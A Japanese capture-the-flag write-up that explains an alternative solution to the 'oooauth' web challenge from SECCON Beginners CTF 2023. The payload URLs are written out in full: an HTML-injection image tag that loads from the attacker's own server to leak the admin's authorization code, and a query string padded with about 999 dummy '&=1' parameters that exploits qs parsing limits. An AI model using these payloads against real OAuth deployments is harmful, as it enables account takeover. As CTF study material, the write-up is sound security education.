SECCON Beginners CTF 2023 にチーム TSG として参加しました。web/hard 問題の oooauth をふぁぼんさんと協力して解いたのですが、作問者さんの想定解とちょっとだけ違ったのでその点について書きます。
ふぁぼんさんの writeup はこちら:
問題の概要
OAuth2 のサーバーとクライアントが与えられます。admin というユーザーの権限を用いて GET <client>/flag
のレスポンスを得ることが目標です。
攻撃の概要
攻撃の大まかな流れは作問者さんの想定解とほぼ同一です。ここでは端的な説明に留め、詳細は作問者の yuasa さんによる writeup にお譲りします。
<server>/auth?response_type=code&client_id=oauth-client&scopes=${encodeURIComponent('<img\tsrc="自分のサーバー">')}&redirect_uri=${encodeURIComponent('<client>/callback?error=a')}
を手元で開き、guest の未使用認可コードを入手する- ここで scope に仕込んだ
<img\tsrc="自分のサーバー">
が、のちに admin の開く画面にインジェクションされる
- ここで scope に仕込んだ
- report 機能を用いて、admin crawler に
<server>/auth?response_type=code&client_id=oauth-client&scopes=hoge&redirect_uri=${encodeURIComponent('<client>/callback?code=さっき手に入れたguestの認可コード&'+Array(999).fill('=1').join('&'))}
を開いてもらう <client>/callback?code=リークしたadminの認可コード
を手元で開く- admin としてログインできたので
<client>/flag
を開くと flag が手に入る
yuasa さんの解法と異なるのは、2. で与えた redirect_uri
です。
このパラメータを細工する目的は yuasa さんの解法と同一です。認可コードは一度使用すると無効化されてしまうため、admin crawler がページを開いた段階で admin の認可コードが消費されてしまうのを妨害する必要があります。そのために、admin crawler がページを開いたときに消費する認可コードとして、admin の認可コードではなく攻撃者が redirect_uri
に仕込んだ guest の認可コードが選ばれるようにすることを考えます。ただし redirect_uri
を単純に <client>/callback?code=GUEST_CODE
のようにすると、admin crawler が開くコールバックページは <client>/callback?code=GUEST_CODE&code=ADMIN_CODE
となり、token endpoint が code
の末尾要素を選ぶ実装になっているために admin の認可コードが消費されてしまいます。そこで、クエリパラメータのパーサーの挙動を利用してこの状況を回避します。ここまでは yuasa さんの解法と同一です。
3 つのパーサーの挙動の違いを利用した認可コードのすり替え
私が使用したクエリパラメータは ?code=GUEST_CODE&=1&=1&...&=1
という形式となっています。これは、express がクエリパラメータのパースに用いる qs ライブラリが、デフォルトで 1001 個目以降のパラメータを無視する仕様を利用したペイロードです。admin crawler が開くコールバックページの URL は <client>/callback?code=GUEST_CODE&=1&=1&...&=1&code=ADMIN_CODE
となりますが、大量のダミーパラメータを足したことにより、末尾の code=ADMIN_CODE
が無視されてクエリパラメータのパース結果は { "code": "GUEST_CODE" }
となります。これにより、admin の認可コードを消費させずに代わりに guest の認可コードを消費させることができます。
ダミーパラメータ &=1
はパラメータ名が空文字列となっていますが、これには意図があります。代わりに &a=1
をダミーパラメータとして使うと、nginx で upstream sent too big header while reading response header from upstream というエラーが発生し、502 Bad Gateway レスポンスが返ります。これは、<server>/approve
が返す 302 Found レスポンスの Location ヘッダー <client>/callback?code=GUEST_CODE&a=1...&a=1&code=ADMIN_CODE
が長すぎて、nginx の proxy_buffer_size
(デフォルトで 4k) を超えてしまうためです。Location ヘッダーを含めたレスポンスヘッダーを 4000 バイトにおさめるには、ダミーパラメータ 1 つあたり3文字以内にする必要があります。
3文字以内に収めるために本解法ではパラメータ名を空にして &=1
を利用しましたが、逆にパラメータ値を空にした &a=
をペイロードに使うと、今度は <server>/token
で PayloadTooLargeError: too many parameters というエラーが発生します。
ここで起きている事象を説明します。「1001 個目以降のパラメータを無視する」という qs の仕様により &code=ADMIN_TOKEN
を無視することはできたのですが、<client>/callback
が <server>/token
にリクエストする際に、クエリパラメータに &grant_type=authorization_code&redirect_uri=<client>%2Fcallback
を追加します。従って <server>/token
に送信されるリクエストボディは code=GUEST_TOKEN&a%5B%5D=&...&a%5B%5D=&grant_type=authorization_code&redirect_uri=<client>%2Fcallback
となり、パラメータ数は 1002 です。ちなみに server はリクエストボディをパースするのに bodyParser.urlencoded({ extended: true })
を用いています。これは内部的に qs を利用しているのですが、qs を呼び出す前にパラメータ数が多すぎないかどうかを検証しています。具体的には、リクエストボディに出現する &
を数え、1000 を超える場合には例外を投げます。先程の PayloadTooLargeError: too many parameters エラーはこれが原因です。
// body-parser/lib/types/urlencoded.js#L147-L154 var paramCount = parameterCount(body, parameterLimit) if (paramCount === undefined) { debug('too many parameters') throw createError(413, 'too many parameters', { type: 'parameters.too.many' }) }
Satoooon さんの writeup では、redirect_uri
中のクエリパラメータにあらかじめ grant_type
及び redirect_uri
パラメータを入れておくことにより、前述したパラメータ数の増加を防いでいます。なるほど確かに 😇
話を戻すと、本解法で用いた &=1
は、この制約を突破することができます。これについて、callback のクエリパラメータが処理される過程に沿って説明します。
まず <server>/approve
において、攻撃者が与えた redirect_uri
が new URL
を用いてパースされます。クエリパラメータのパースには組み込みの URLSearchParams
が用いられます。?code=GUEST_CODE&=1&=1&...&=1
をパースした結果は URLSearchParams { 'code' => 'GUEST_CODE', '' => '1', '' => '1', ... }
となります。これに対し server は admin の認可コードを .append
し、redirectUrl.searchParams
は URLSearchParams { 'code' => 'GUEST_CODE', '' => '1', '' => '1', ..., 'code' => 'ADMIN_CODE' }
となります。その結果、admin crawler は <client>/callback?code=GUEST_CODE&=1&...&=1&code=ADMIN_CODE
にリダイレクトされます。
次に <client>/callback
の処理を考えます。client は qs ライブラリを用いてクエリパラメータをパースし、params
変数に格納します。これはリクエストボディではなく URL 中のクエリパラメータなので、パースに用いられるのは前述の body-parser ではなく、express/lib/middleware/query.js
です。このミドルウェアは body-parser と違いパラメータの個数チェックをせず、そのまま qs ライブラリを呼び出します。そのため、<client>/callback
では too many parameters エラーが発生しません。
話を戻すと、params
変数に格納されたパース結果は { "code": "GUEST_CODE" }
となります。1001 個目以降のパラメータを無視する qs の仕様により、末尾の code=ADMIN_CODE
が無視されます。また、qs はパラメータ名が空文字列になっているものを無視するので、ダミーパラメータ &=1
も無視されます。この params
に grant_type
と redirect_uri
を追加した結果、 <server>/token
に送信されるリクエストボディは code=GUEST_CODE&grant_type=authorization_code&redirect_uri=<client>%2Fcallback
となります。このパラメータ数は 3 なので、<server>/token
では too many parameters エラーが発生せず、guest の認可コードを消費させることができます。
ちなみに、ダミーパラメータとして &=&=&=...
を使うことも可能です。一方で、&&&...
では攻撃が成立しませんでした。&&&...
のような空のパラメータは URLSearchParams
に無視されてしまうため、<server>/approve
でリダイレクト先を生成する時点でダミーパラメータが除去されてしまい、<client>/callback?code=GUEST_CODE&code=ADMIN_CODE
にリダイレクトされてしまうのです。
というわけで、3 種類のクエリパラメータパーサー (URLSearchParams
, express/lib/middleware/query.js
, body-parser) の挙動の差異を利用することで、admin の認可コードの代わりに guest の認可コードを消費させることができました。
おわりに
非常に面白い問題でした。個々の脆弱性単体ではフラグを取れそうにないのにも関わらず、うまく組み合わせると見事に解けるところが美しいと思っています。
- CSRF 対策がないけど、crawler に guest としてログインさせたところで何ができる?
- HTML エスケープしてないけど、CSP のせいで XSS できない
- Referer から認可コードを取得できたけど、リクエストが来た時点で認可コードが使用済み
- コールバック画面をエラーにすれば認可コードが消費されないが、エラー画面では HTML injection もできない
こんな感じだったのでずっとウンウン唸っていたのですが、なんとか解けてよかったです。
また、想定解 code[2]=guest-code&code=hoge&code=admin-code
を見てびっくりしました。 code[2]=guest-code&code[0]=hoge&code=admin-code
とかは試したんですが…。qs ソースコード読み力が足りていませんでした 😔
ちなみに、server で access_tokens
変数が Map
型なのに access_tokens[access_token_value]
のようにプロパティアクセスをしているとか、client/views/index.ejs
が使っている jQuery と Bootstrap のバージョンがかなり古くて既知の脆弱性が色々あるとかも気になったんですが、うまく攻撃に繋げられませんでした。他の方の writeup を楽しみにしています。